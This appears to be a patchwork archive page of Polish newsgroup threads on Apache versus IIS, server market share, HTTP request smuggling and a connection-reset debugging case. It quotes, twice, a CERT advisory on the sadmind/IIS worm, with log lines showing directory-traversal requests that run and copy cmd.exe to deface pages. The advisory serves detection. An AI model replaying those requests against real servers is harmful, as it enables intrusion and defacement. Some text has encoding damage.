xs4all.nl: Server: Apache/1.3.2 (Unix)
techweb.com: Server: Apache/1.3.12 (Unix) mod_perl/1.24
tripod.com: Server: Apache/1.3.12 (Unix)
t-online.de: Server: Apache/1.2.5 (in memoriam Roger Schwarz) (Unix)
infoworld.com: Server: Netscape-Enterprise/3.6 SP2
Tyle mi się przypomniało, nie widzę tu wiele MS. Za to widzę
wiele Uniksów. A filozofią obsługi Linuks jednak jest bliższy
uniksom. Ba, nawet można powiedzieć, że jest identyczny.
Przeciez to powinno dzialac, bo jak cos jest nie tak, to ZAWSZE ktos na
sieci sie znajdzie co napisze poprawke i bedzie mozna to zaaplikowac. Swoja
droga czy wiesz ile komercyjnych e-biznesowych serwerow dziala na Linuxie a
ile na Microsoft'cie...Linux'a w takich rozwiazaniach prawie nie ma. Czyzby
oznaka slabosci ? Czy moze zly model ?
Tak jest, Linuks działa. Jak widać wyżej. Jeśli masz inne
serwery, to podaj ich adresy, potestujemy.
Gwoli sprawiedliwosci - Linux jest u providerow ISP - ale glownie jako
wirtualny serwer ze statyczna zawartoscia - bo tak taniej i najlatwiej...
Zgadza się. Taniej i efektywniej. I prościej.
Andrzej
Przeczytaj wszystkie posty z tego wątkuJacek Kijewski <ja@softomat.com.plw artykule
news:Pine.LNX.4.10.10002141335280.2144-100000@bubr.firm.softomat.com.pl
pisze...
[...]
modem, programy kosztorysowe, Word, Excel - nadal nie wiem, co maja
szyfrowac, zwlaszcza 128 bit...
Male firmy klientow - podobnie...
To, ze Ty nie widziales Windows (NT) w profesjonalnych zastosowaniach,
nie znaczy, ze takich nie ma.... Ja np. nigdy nie zrozumialem dowodu
wielkiego
Twierdzenia Farmata to znaczy, ze nie jest prawdziwy ?
Ja - wlasnie przyszlo z Pekao o koncie Eurokonto WWW - ewentualnie MOGLBYM
potrzebowac... Ale w zasadzie mam Linuxa, wiec kodowanie 128 bit w Windows
niewiele mi zmienia..
A co jak ja Tobie powiem, ze dla mnie _szyfrowanie_ 128bitowe w MacOsie
niewiele obchodzi - to znaczy, ze nie jest potrzebne ????
Otoz - Windows to system do domu, do zabawy, albo do naprawde malej
To powinno trafic do ZKC.
Widzisz - patrzysz na windows z perspektywy osoby, ktora prawdopodobnie
nigdy
nie widziala tegoz w profesjonalnych zastosowaniach (mowie o NT). Jesli dla
Ciebie
ultra60:7% lynx -dump -head www.ford.com
HTTP/1.0 200 OK
Server: Microsoft-IIS/4.0
Date: Mon, 14 Feb 2000 14:10:42 GMT
ultra60:15% lynx -dump -head www.nasdaq.com
HTTP/1.0 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 14 Feb 2000 14:13:14 GMT
to zastosowania domowe - to rzeczywiscie Win sie do takich nadaje.
firmy... a takim klientom takie kodowanie jest potrzebe CO NAJWYZEJ do
homebankingu. Zaden z polskich bankow nie udostepnia operacji na rb przez
ROTFL - www.sezam.bph.pl
WWW, trzeba miec dedykowany program i wydzielona linie. A poza tym to
Zapomniales wspomniec, ze w 99% program ten chodzi pod windows ;-).
program bankowy powinien supportowac 128...
W czym problem ???
Moze jeszcze zakupy przez siec... ale ten system* jest tak strasznie
dziurawy, ze akurat kodowanie to najmniejszy problem...
Zalezy o czym piszesz - oczywiscie zabaezpieczenia w Win95/98 to
calkiem inna kwestia - ale tu nikt nie krzyczy, ze to najbezpieczniejszy
system Swiata. Co innego NT - IMHO pod wzgledem bezpieczenstwa
porownywalny z linuxem. Tzn. - jest w nim mniej wiecej tyle samo dziur
co i w linuxie - i nowych przybywa mniej wiecej w tym samym tepie ;-).
*) placenia kartami, abstrahuje w tej chwili od systemow
informatycznych...
A co ma piernik do wiatraka??? Co za roznica, czy uzywasz ssla w windows
czy w linuxie? Jak Ci ktos ukradnie numer karty - to zrobi to niezaleznie od
tego,
czy uzywasz linuxa, solarisa czy NT. No chyba, ze Ty masz gdzies pliczek
.numer_mojej_karty_kredytowejrc i tam wklepane 1234-63522-099574 ;-).
Mon, 11 Jul 2005 21:29:35 +0200, *Konrad Kosmowski* wrote:
| Apache jest wszędzie,
,---- [ http://hacking.pl/5275 ] --------------------------------------------.
| Wszystkie wersje Apache 2.0 poprzedzające wydanie 2.1.6 są podatne na atak |
| piggyback umożliwiający przesłanie fałszywych nagłówków HTTP. Atak został |
| zaprezentowany przez Watchfire. |
| |
| Odpowiednia modyfikacja 'Transfer-Encoding: chunked' i 'Content-Length' |
| umożliwia przeprowadzenie ataków typu cache poisoning, cross-site |
| scripting, session hijacking i innych. |
`----------------------------------------------------------------------------´
niestety...
podobnie jak i inne serwery WWW na tym swiecie:
http://www.securityfocus.com/bid/13873
Multiple Vendor Multiple HTTP Request Smuggling Vulnerabilities
poza Apache w wersjach rozmaitych podatne sa serwery nastepujace:
Vulnerable: Sun ONE Web Server 6.1 SP4
Sun ONE Web Server 6.1 SP2
Sun ONE Web Server 6.1 SP1
Sun ONE Web Server 6.1
Oracle Oracle9i Application Server Web Cache 9.0.2 .3
Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+ Oracle iStore 11i 11i.IBE.O
Oracle Oracle9i Application Server 9.0.2
Microsoft IIS 6.0
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition 64-bit
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition 64-bit
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Web Edition
Microsoft IIS 5.0
+ Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP2
+ Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP2
+ Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP2
IBM Websphere Application Server 5.1.1 .3
IBM Websphere Application Server 5.1.1 .2
IBM Websphere Application Server 5.1.1 .1
IBM Websphere Application Server 5.1.1
IBM Websphere Application Server 5.1 .0.5
IBM Websphere Application Server 5.1 .0.4
IBM Websphere Application Server 5.1 .0.3
IBM Websphere Application Server 5.1 .0.2
IBM Websphere Application Server 5.1
IBM Websphere Application Server 5.0.2 .9
IBM Websphere Application Server 5.0.2 .8
IBM Websphere Application Server 5.0.2 .7
IBM Websphere Application Server 5.0.2 .6
IBM Websphere Application Server 5.0.2 .5
IBM Websphere Application Server 5.0.2 .4
IBM Websphere Application Server 5.0.2 .3
IBM Websphere Application Server 5.0.2 .2
IBM Websphere Application Server 5.0.2 .10
IBM Websphere Application Server 5.0.2 .1
IBM Websphere Application Server 5.0.2
IBM Websphere Application Server 5.0.1
IBM Websphere Application Server 5.0
DeleGate DeleGate 8.11.1
DeleGate DeleGate 8.11
DeleGate DeleGate 8.10.6
DeleGate DeleGate 8.10.5
DeleGate DeleGate 8.10.4
DeleGate DeleGate 8.10.3
DeleGate DeleGate 8.10.2
DeleGate DeleGate 8.10.1
DeleGate DeleGate 8.10
DeleGate DeleGate 8.9.6
DeleGate DeleGate 8.9.5
DeleGate DeleGate 8.9.4
DeleGate DeleGate 8.9.3
DeleGate DeleGate 8.9.2
DeleGate DeleGate 8.9.1
DeleGate DeleGate 8.9
BEA Systems Weblogic Server 8.1 SP 1
BEA Systems WebLogic Express 8.1 SP 1
Daniel Podlejski <under@underley.eu.orgwrote:
http://www.microsoft.com/windows2000/news/dot-truth.asp
No jakby nie patrzeć to to co tam jest napisane to prawie wszystko prawda
[1] .. no w zasadzie pół prawdy, bo drugie pół (to nie spisane na tej
stronie) stawiałoby w niekorzystnym świetle MS.
[1] W zasadzie bo podają, że MS http serwery miały w 12/99 25% udziału w
ryko serwerów tylko, że ważne jest tu słowo _miały_ i to przez bardzo krótko
(patrz: http://www.netcraft.co.uk/survey/), a także to, że od ponad czterech
miesiecy krzywa z udziałem MS serwerów ładnie nurkuje i wątpię żeby
oficjalne wejście W2K coś tu zmianiło bo lada dzień szykuje się wejscie
apache 2.0 (do kupy z PHP 4 które jest juz w fazie testów beta) które
powinny pogrzebać wszelkie nadzieje MS na zwiększenie udziału już
ostatecznie.
Statystyki Netcrafta obserwuję dość uważnie. Symptomatyczne są choćby dane z
ostatniego miesiaca:
January 2000 Percent February 2000 Percent Change
Apache 5521069 55.49 6482728 58.08 2.59
Microsoft-IIS 2277155 22.88 2444172 21.90 -0.98
Jak łatwo zauważyć *przyrost w masie* ilości indian jest na poziomie ponad
jednej trzeciej *całkowitej* ilosci Microsoft-IIS .. i tak to sie juz układa
od kilkunastu miesięcy (średnio na poziomie 20-40% całej ilości).
W tej sytuacji owe 25% uznałbym za lekką manipulację.
Tylko IMHO już miesiąc może kilka dzielą MS od chwili kiedy ilosć
bezwzględna Microsoft-IIS zacznie spadać.
Jeżeli ktoś potzrebuje komentarza do tych danych to mówiąc ogłednie Bill&co
dają ciała, że aż żal patrzeć :-
W tej sytuacji bardzo ciekawe to, że MS próbuje sie jeszcze bronić i to
publicznie zestawiając tak fakty żeby wyglądały korzystnie dla MS.
Śmieszyć może także porównywanie kosztów per procesor na maszynkach z 16toma
i wuiecej procesorami w sytuacji kiedy NT na intelu ze względu na to, że na
rynku są osiagalne w tej chwili w niewielkich ilosciach płyty
czteroporocesorowe nie można porównywać w takiej sytuacji (a to juz jest
manipulacja szyta widocznymi nićmi).
Śmieszne jest także to, że jak żep psiego ogona uczepili się tego co za
darmo zrobili w Quote.com i pokazują to jako przykład sztandarowy
niezauważając, że w warunkach rynkowych każda inna frma będzie musiała
zapłacić za podobne rozwiązania pieniadze porównywalne zapewne z rymi za
rozwiązania jakie oferuje Sun .. tyle tylko, że to wszystko będzie pracowało
na sprzecie typu "Squadak Kompany" do którego porównywanie nawet najtańszego
Suna jeśli chodzi o niezawodnośc i solidność wykonania wypada porostu blado.
Co do tej drugiej połowy niespisanych faktów które stawiałyby MS w
niekorzystnym świetle to nie ma sensu marnować palców. Sporo już z tego
wylało się i tutaj na pcoa.
kloczek
Przeczytaj wszystkie posty z tego wątku"Tomasz Kłoczko" <kloc@rudy.mif.pg.gda.pl wrote in message Grzegorz Makarewicz <m@mikroplan.com.pl wrote:
"Tomasz Kłoczko" <kloc@rudy.mif.pg.gda.pl wrote in message
"Prawdziwi" programisci pisza w assemblerze - w tym wypadku w html-u i
podziwiaja swoje wyroby w wielu przegladarkach (Lynx) i zmiany 500 linkow
dokonuja z raczki, tylko po co ?
Gdzieś Ty takie bzdury wyczytał ? :- Ci "prawdziwi" to nawet swoich sron
nie mają czasu oglądać. Oni poprostu deklarują, że strona ma wyglądac tak, a
nie inaczej i na tym się kończy zabawa (i na etapie deklaracji już jest
zapewnione, że konkretna strona będzie wygladać tak, a nie inaczej). Rzadko
ktoś taki pisze w gołym html-u, a często pierwtne źródła powstają w zupełnie
czyms innym niż html. Jeżeli robisz po parę(naście) stron dziennie i są one
jeszcze na dodatek dynamicznie tworzone to zwykle już samo przejrzenie
wszystkich możliwych kombinacji wyglądu zabierać może tyle czasu co
kodowanie i wklepanie tekstu treści strony razem wzięte.
Wszystko zalezy od potrzeb i mozliwosci - Jedni generuja inni cyzeluja.
Autorzy i testerzy musza ogladac wyniki swojej pracy chocby w celu weryfikacji z
zalozeniami.
Jezeli mowisz o portalach to niewatpliwie przy wielkiej dynamice zmian zawartosci a
nie ukladu pisanie z raczki mija sie z celem a FP nie jest narzedziem do jego wypelniania.
Moim zdaniem produkty M$ sa przeznaczone dla malych/srednich firm w ktorych
jest ktos kto ma ochote na tego typu zabawy.
To już mija. Radzę zajrzeć na statystyki Netcrafta
(http://www.netcraft.co.uk/survey/). Od pięciu miesiecy dzieje się to co
niecały rok temu tutaj przewidziałem podsumowując to co się dzieje na
counter.li.org czyli, że krzywa udziału MS w rynku serwerów nurkuje aż żal
tyłek ściska. Wątpię, żeby ten trend dało się powstrzymać. Po wyjsciu apache
2.0 już nie alfa czy beta prędzej spodziewałbym sie coraz głębszego spadku
zainteresowania MS narzędziami na serwetry http.
"In the .mil domain, where few sites are externally hosted, Microsoft-IIS leads with 43%. "
Czyli az tak zle to nie jest z M$
A milo jest otworzyc sobie WebFolders i strone przerzucic przy pomocy
myszki do innego katalogu/smietnika, zamiast ftp wole http, a prz okazji
problemy w wlamaniami przez ftp tez wypadaja, mniej protokolow, plikow
konfiguracjyjnuch,....
Słyszałeś coś o mod_cvs ?
A jaki to standard ?
A dlaczego nie ma tego na stronach apacha ?
Czyzby byl bardzo popularny ?
Mogę się założyć, że w większości przypadków mod_cvs wystarczy i jego użycie
będzie znacznie prostrze niż używanie DAV (w przypadku apache mod_dav).
A jak a w tym trudnosc, to tylko kilka dodatkowych komend.
Co więcej w tym przypadku mozesz jeszcze bardziej oodzelić serwer od osób
preparujących zasosoby i nie będzie wogóle nanjmniejszej konieczności
wykonywania jakis uploadów na serwer http.
Kwestai w tym jaki odsetek ludzi czegoś tak skomplikowanego jak DAV
potrzebuje.
Popieram, samemu nalezy rozstrzygnac co jest dobre w danym przypadku.
mak
"In the .mil domain, where few sites are externally hosted, Microsoft-IIS leads with 43%. "
Czyli az tak zle to nie jest z M$
A zauważyłeś to, że ostatni jednomiesieczny przyrost bezwzględny masy
indian jest na poziomie połowy całkowitej masy Billa ? ;-)
Ale to przyrost ilosciowy a nie przyrost dochodu ze sprzedazy :)
Albo straty dochodu :-)
Ale na pewno też i jednak przyrostu dochodu dla tych firm które są
nastawione na dziaąłnie w spółpracy z indianami :-)
Echem. Nie zadawaj takich pytań bo to troche inaczej wygląda :-)
(z pamięci) modules.apache.org - search - "mod_cvs" - i dalej na stronę
domową mod_cvs.
"Your Search for mod , returned 20 Items; listed in order of computed relevance" i zadnego mod_cvs :(
Znalazem cos w wyszukiwarkach lecz serwer www.med.ru nieodpowiada - moze
gdzies jest mirror ?
W repo na cvs.pld.org.pl jest czeąściowo gotowy spec i źródłowy tar z
mod_cvs .. to jakbyś dalej nie mógł się dostać do strony domowej.
Kwestia, że DAV jest rzadko używane i dotyka aktualizowania zawartości
serwisu poprzez (rozszerzenia) http co już samo w sobie wymagałoby solidnego
sprawdzenia przed włączeniem. W przypadku mod_cvs takiego ryzyka w zasadzie
nie ma ze względu na to, że aktualizacja odbywa się nie na serwerze http
tylko na serwerze CVS, a tutaj możesz zaprząc szeroki wachlaż medtod
autentylacji (od kerberosa przez ssh po otwarty tekst i hasła kodowane tylko
DESem).
Tylko ze firma z koncowkami windowsowymi ma male szanse skorzystania z dobrodziejstwa
kerberosa, desa itp
Łaj not ? W końcu klient cvs jest też i dla *in* (znajdzies go na
www.cyclic.com). Co do kerberosa to rzeczywiście jest głupio bo W2K ma w
sobie obsługę kerb ale (jak zwykle) MS ludki dodali tam takie modyfikacje,
że klient kerb na W2K potrafi działać tylko z serwerem kerb W2K. Rozwiazniem
może być używanie binarek dla klienta kerb4/5 dla Win z MIT.
Postawienie zapisu na stronie poprzez ssl likwiduje ten problem, a
poniewaz dav dziala poprzez http wiec mozna sie tam dostac takze z
netscapa
Zrozum, że najlepsza zabezpieczenie to takie które nie posiada zamka. Jeżeli
dopuścisz do aktualizacji inicjowanej z zewnatrz serwera http, a nie przez
niego to to jest proszenie sie o szukanie dziry, a w zwiazku z tym że DAV
nie należy do często używanych to przypuszczam, że te poszukiwania mogą
zakączyć się sukcesem.
W zasadzie upload można wykonać też bez używania mod_cvs ale dalej poprzez
cvs o czym wiedzą wszyscy którzy pracują nad zasobami PLD. Wystarczy pewnwa
umowa co do tego jak organizować zasoby http + dogadanie się z "panem
Crontab(u)" ;-)
Z tego co napisal Oleg Broytman mod_cvs nie sluzy do CVS-owania
Służy do aktualizacji serwowanegop zasobu na podstawie zawartości serwera
CVS gdzie aktualizacja odbywa się moze przed wyserwowaniem zasobu na
zewnątrz.
kloczek
Przeczytaj wszystkie posty z tego wątkuOverview
The CERT/CC has received reports of a new piece of self-propagating
malicious code (referred to here as the sadmind/IIS worm). The worm uses two
well-known vulnerabilities to compromise systems and deface web pages.
I. Description
Based on preliminary analysis, the sadmind/IIS worm exploits a vulnerability
in Solaris systems and subsequently installs software to attack Microsoft
IIS web servers. In addition, it includes a component to propagate itself
automatically to other vulnerable Solaris systems. It will add "+ +" to the
.rhosts file in the root user's home directory. Finally, it will modify the
index.html on the host Solaris system after compromising 2,000 IIS systems.
To compromise the Solaris systems, the worm takes advantage of a
two-year-old buffer overflow vulnerability in the Solstice sadmind program.
For more information on this vulnerability, see
[....]
Solaris systems that are successfully compromised via the worm exhibit the
following characteristics:
Sample syslog entry from compromised Solaris system
May 7 02:40:01 carrier.example.com inetd[139]: /usr/sbin/sadmind: Bus
Error - core dumped
May 7 02:40:01 carrier.example.com last message repeated 1 time
May 7 02:40:03 carrier.example.com last message repeated 1 time
May 7 02:40:06 carrier.example.com inetd[139]: /usr/sbin/sadmind:
Segmentation Fault - core dumped
May 7 02:40:03 carrier.example.com last message repeated 1 time
May 7 02:40:06 carrier.example.com inetd[139]: /usr/sbin/sadmind:
Segmentation Fault - core dumped
May 7 02:40:08 carrier.example.com inetd[139]: /usr/sbin/sadmind: Hangup
May 7 02:40:08 carrier.example.com last message repeated 1 time
May 7 02:44:14 carrier.example.com inetd[139]: /usr/sbin/sadmind: Killed
A rootshell listening on TCP port 600
Existence of the directories
/dev/cub contains logs of compromised machines
/dev/cuc contains tools that the worm uses to operate and propagate
Running processes of the scripts associated with the worm, such as the
following:
/bin/sh /dev/cuc/sadmin.sh
/dev/cuc/grabbb -t 3 -a .yyy.yyy -b .xxx.xxx 111
/dev/cuc/grabbb -t 3 -a .yyy.yyy -b .xxx.xxx 80
/bin/sh /dev/cuc/uniattack.sh
/bin/sh /dev/cuc/time.sh
/usr/sbin/inetd -s /tmp/.f
/bin/sleep 300
Microsoft IIS servers that are successfully compromised exhibit the
following characteristics:
Modified web pages that read as follows:
fuck USA Government
fuck PoizonBOx
contact:sysad@yahoo.com.cn
Sample Log from Attacked IIS Server
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir+.. 200 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
GET /scripts/../../winnt/system32/cmd.exe
/c+copy+winntsystem32cmd.exe+root.exe 502 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
GET /scripts/root.exe /c+echo+<HTML code inserted
here.././index.asp 502 -
II. Impact
Solaris systems compromised by this worm are being used to scan and
compromise other Solaris and IIS systems. IIS systems compromised by this
worm can suffer modified web content.
[....]
Panowie, sugerujĂŞ uwaÂżnie obejrzeĂŚ swoje "pudeÂłka"
B.
cytat z http://www.cert.org/advisories/CA-2001-11.html
Overview
The CERT/CC has received reports of a new piece of self-propagating
malicious code (referred to here as the sadmind/IIS worm). The worm uses two
well-known vulnerabilities to compromise systems and deface web pages.
I. Description
Based on preliminary analysis, the sadmind/IIS worm exploits a vulnerability
in Solaris systems and subsequently installs software to attack Microsoft
IIS web servers. In addition, it includes a component to propagate itself
automatically to other vulnerable Solaris systems. It will add "+ +" to the
.rhosts file in the root user's home directory. Finally, it will modify the
index.html on the host Solaris system after compromising 2,000 IIS systems.
To compromise the Solaris systems, the worm takes advantage of a
two-year-old buffer overflow vulnerability in the Solstice sadmind program.
For more information on this vulnerability, see
[....]
Solaris systems that are successfully compromised via the worm exhibit the
following characteristics:
Sample syslog entry from compromised Solaris system
May 7 02:40:01 carrier.example.com inetd[139]: /usr/sbin/sadmind: Bus
Error - core dumped
May 7 02:40:01 carrier.example.com last message repeated 1 time
May 7 02:40:03 carrier.example.com last message repeated 1 time
May 7 02:40:06 carrier.example.com inetd[139]: /usr/sbin/sadmind:
Segmentation Fault - core dumped
May 7 02:40:03 carrier.example.com last message repeated 1 time
May 7 02:40:06 carrier.example.com inetd[139]: /usr/sbin/sadmind:
Segmentation Fault - core dumped
May 7 02:40:08 carrier.example.com inetd[139]: /usr/sbin/sadmind: Hangup
May 7 02:40:08 carrier.example.com last message repeated 1 time
May 7 02:44:14 carrier.example.com inetd[139]: /usr/sbin/sadmind: Killed
A rootshell listening on TCP port 600
Existence of the directories
/dev/cub contains logs of compromised machines
/dev/cuc contains tools that the worm uses to operate and propagate
Running processes of the scripts associated with the worm, such as the
following:
/bin/sh /dev/cuc/sadmin.sh
/dev/cuc/grabbb -t 3 -a .yyy.yyy -b .xxx.xxx 111
/dev/cuc/grabbb -t 3 -a .yyy.yyy -b .xxx.xxx 80
/bin/sh /dev/cuc/uniattack.sh
/bin/sh /dev/cuc/time.sh
/usr/sbin/inetd -s /tmp/.f
/bin/sleep 300
Microsoft IIS servers that are successfully compromised exhibit the
following characteristics:
Modified web pages that read as follows:
fuck USA Government
fuck PoizonBOx
contact:sysad@yahoo.com.cn
Sample Log from Attacked IIS Server
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir+.. 200 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
GET /scripts/../../winnt/system32/cmd.exe
/c+copy+winntsystem32cmd.exe+root.exe 502 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80
GET /scripts/root.exe /c+echo+<HTML code inserted
here.././index.asp 502 -
II. Impact
Solaris systems compromised by this worm are being used to scan and
compromise other Solaris and IIS systems. IIS systems compromised by this
worm can suffer modified web content.
[....]
WidziaÂłem na tej grupie doniesienia o wÂłamaniach na IIS, bardzo zbieÂżne z
tym co wyÂżej
B.
mam zagadke:
test:~# wget http://www.numion.com/
--11:10:51-- http://www.numion.com/
=`index.html'
Resolving www.numion.com... 80.69.70.75
Connecting to www.numion.com[80.69.70.75]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13,504 [text/html]
19% [====== ] 2,591 --.--K/s
11:10:51 (27.76 MB/s) - Read error at byte 2591/13504 (Connection reset by
peer). Retrying.
--11:10:52-- http://www.numion.com/
(try: 2) =`index.html'
Connecting to www.numion.com[80.69.70.75]:80... rconnected.
HTTP request sent, awaiting response... 206 Partial content
Length: 13,504 (10,913 to go) [text/html]
38% [+++++++====== ] 5,152 --.--K/s
11:10:53 (135.27 KB/s) - Read error at byte 5152/13504 (Connection reset by
peer). Retrying.
m --11:10:55-- http://www.numion.com/
(try: 3) =`index.html'
Connecting to www.numion.com[80.69.70.75]:80... connected.
HTTP request sent, awaiting response... 206 Partial content
Length: 13,504 (8,352 to go) [text/html]
57% [++++++++++++++====== ] 7,714 --.--K/s
11:10:55 (138.56 KB/s) - Read error at byte 7714/13504 (Connection reset by
peer). Retrying.
--11:10:58-- http://www.numion.com/
(try: 4) =`index.html'
Connecting to www.numion.com[80.69.70.75]:80... connected.
HTTP request sent, awaiting response... 206 Partial content
Length: 13,504 (5,790 to go) [text/html]
76% [+++++++++++++++++++++====== ] 10,276 --.--K/s
11:10:58 (136.64 KB/s) - Read error at byte 10276/13504 (Connection reset by
peer). Retrying.
I tak z kilku maszyn,
Systemy: FreeBSD 4.11 i 5.5, Linux 2.6.x ( kilka, gdzies na 5-ciu maszynach
testowane, wlaczenie/wylaczanie ECN nie pomaga ), ICMP PathMTU discovery
nie jest wyfiltrowane, OpenBSD to samo. Testowane wget/lynx/elinks.
O dziwo opera/9.01 tez mi tak wariuje, ale na tym samym laczu/kompie Mozilla
juz nie(??!)
Lacza testowane: TPSA neo+ , TPSA polpak-t w LB kilka lacz, TPSA idsl,
FUTURO, GTS, TKTELEKOM. Lacznosc bez zarzutu, tcpdump pokazuje ewidentnie
zerwanie ze strony serwera numiona ( TCP RST ). traceroute/mtr bardzo OK.
Routery od mojej strony: roznie, od Cisco przez jakies no-name po Linuxy
( adminuje wiekszoscia ), problem jedynie z numion.com, tam jest jakis IIS.
Nie ma transparentnego proxy, a jak jest o jest OK ( proxy chyba tak samo
dostaje ). Tez nie ma wycietego PMTUD.
A teraz najlepsze:
telnet numion.com 80
Trying 80.69.70.75...
Connected to numion.com.
Escape character is '^]'.
HEAD / HTTP/1.1
HConnection closed by foreign host.
Host
-su: Host: command not found
^^ oczywiscie ten sposob dziala na wszystkich innych serwerach...
telnet microsoft.com 80
Trying 207.46.250.119...
Connected to microsoft.com.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: microsoft.com
HTTP/1.1 302 Object moved
Date: Tue, 19 Sep 2006 12:00:54 GMT
Server: Microsoft-IIS/6.0
Level: T3
X-Powered-By: ASP.NET
Location: http://www.microsoft.com
Content-Length: 145
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQADRACBS=NBCGLGGDKMLDJNGAKEKJCLDN; path=/
Cache-control: private
echo -en "HEAD / HTTP/1.1
Host: numion.com
" | nc -vv numion.com
80
Connection to numion.com 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://numion.com/index.html
Date: Tue, 19 Sep 2006 12:06:46 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 22 Aug 2006 09:06:36 GMT
ETag: "324e4145cac5c61:193b"
Content-Length: 13504
Pomysly mi sie skonczyly... help.
Jakub Wartak wrote:
Witam,
mam zagadke:
test:~# wget http://www.numion.com/
--11:10:51-- http://www.numion.com/
=`index.html'
Resolving www.numion.com... 80.69.70.75
Connecting to www.numion.com[80.69.70.75]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13,504 [text/html]
19% [====== ] 2,591 --.--K/s
11:10:51 (27.76 MB/s) - Read error at byte 2591/13504 (Connection reset by
peer). Retrying.
--11:10:52-- http://www.numion.com/
(try: 2) =`index.html'
Connecting to www.numion.com[80.69.70.75]:80... rconnected.
HTTP request sent, awaiting response... 206 Partial content
Length: 13,504 (10,913 to go) [text/html]
38% [+++++++====== ] 5,152 --.--K/s
11:10:53 (135.27 KB/s) - Read error at byte 5152/13504 (Connection reset
by peer). Retrying.
m --11:10:55-- http://www.numion.com/
(try: 3) =`index.html'
Connecting to www.numion.com[80.69.70.75]:80... connected.
HTTP request sent, awaiting response... 206 Partial content
Length: 13,504 (8,352 to go) [text/html]
57% [++++++++++++++====== ] 7,714 --.--K/s
11:10:55 (138.56 KB/s) - Read error at byte 7714/13504 (Connection reset
by peer). Retrying.
--11:10:58-- http://www.numion.com/
(try: 4) =`index.html'
Connecting to www.numion.com[80.69.70.75]:80... connected.
HTTP request sent, awaiting response... 206 Partial content
Length: 13,504 (5,790 to go) [text/html]
76% [+++++++++++++++++++++====== ] 10,276 --.--K/s
11:10:58 (136.64 KB/s) - Read error at byte 10276/13504 (Connection reset
by peer). Retrying.
I tak z kilku maszyn,
Systemy: FreeBSD 4.11 i 5.5, Linux 2.6.x ( kilka, gdzies na 5-ciu
maszynach testowane, wlaczenie/wylaczanie ECN nie pomaga ), ICMP PathMTU
discovery nie jest wyfiltrowane, OpenBSD to samo. Testowane
wget/lynx/elinks.
O dziwo opera/9.01 tez mi tak wariuje, ale na tym samym laczu/kompie
Mozilla juz nie(??!)
Lacza testowane: TPSA neo+ , TPSA polpak-t w LB kilka lacz, TPSA idsl,
FUTURO, GTS, TKTELEKOM. Lacznosc bez zarzutu, tcpdump pokazuje ewidentnie
zerwanie ze strony serwera numiona ( TCP RST ). traceroute/mtr bardzo OK.
Routery od mojej strony: roznie, od Cisco przez jakies no-name po Linuxy
( adminuje wiekszoscia ), problem jedynie z numion.com, tam jest jakis
IIS. Nie ma transparentnego proxy, a jak jest o jest OK ( proxy chyba tak
samo dostaje ). Tez nie ma wycietego PMTUD.
A teraz najlepsze:
telnet numion.com 80
Trying 80.69.70.75...
Connected to numion.com.
Escape character is '^]'.
HEAD / HTTP/1.1
HConnection closed by foreign host.
Host
-su: Host: command not found
^^ oczywiscie ten sposob dziala na wszystkich innych serwerach...
telnet microsoft.com 80
Trying 207.46.250.119...
Connected to microsoft.com.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: microsoft.com
HTTP/1.1 302 Object moved
Date: Tue, 19 Sep 2006 12:00:54 GMT
Server: Microsoft-IIS/6.0
Level: T3
X-Powered-By: ASP.NET
Location: http://www.microsoft.com
Content-Length: 145
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQADRACBS=NBCGLGGDKMLDJNGAKEKJCLDN; path=/
Cache-control: private
echo -en "HEAD / HTTP/1.1
Host: numion.com
" | nc -vv numion.com
80
Connection to numion.com 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://numion.com/index.html
Date: Tue, 19 Sep 2006 12:06:46 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 22 Aug 2006 09:06:36 GMT
ETag: "324e4145cac5c61:193b"
Content-Length: 13504
Pomysly mi sie skonczyly... help.
Poprawka: mozilla wlasnie tez przestala dawac rade, efekt identyczny z
Opera: nie do konca wgrany HTML, czesc sie renderuje. Jak jest transparent
to pisze ze connection reset by peer.
© 2009 Najlepszy miesiąc kawalerski w Polsce !!! - Ceske - Sjezdovky .cz. Design downloaded from free website templates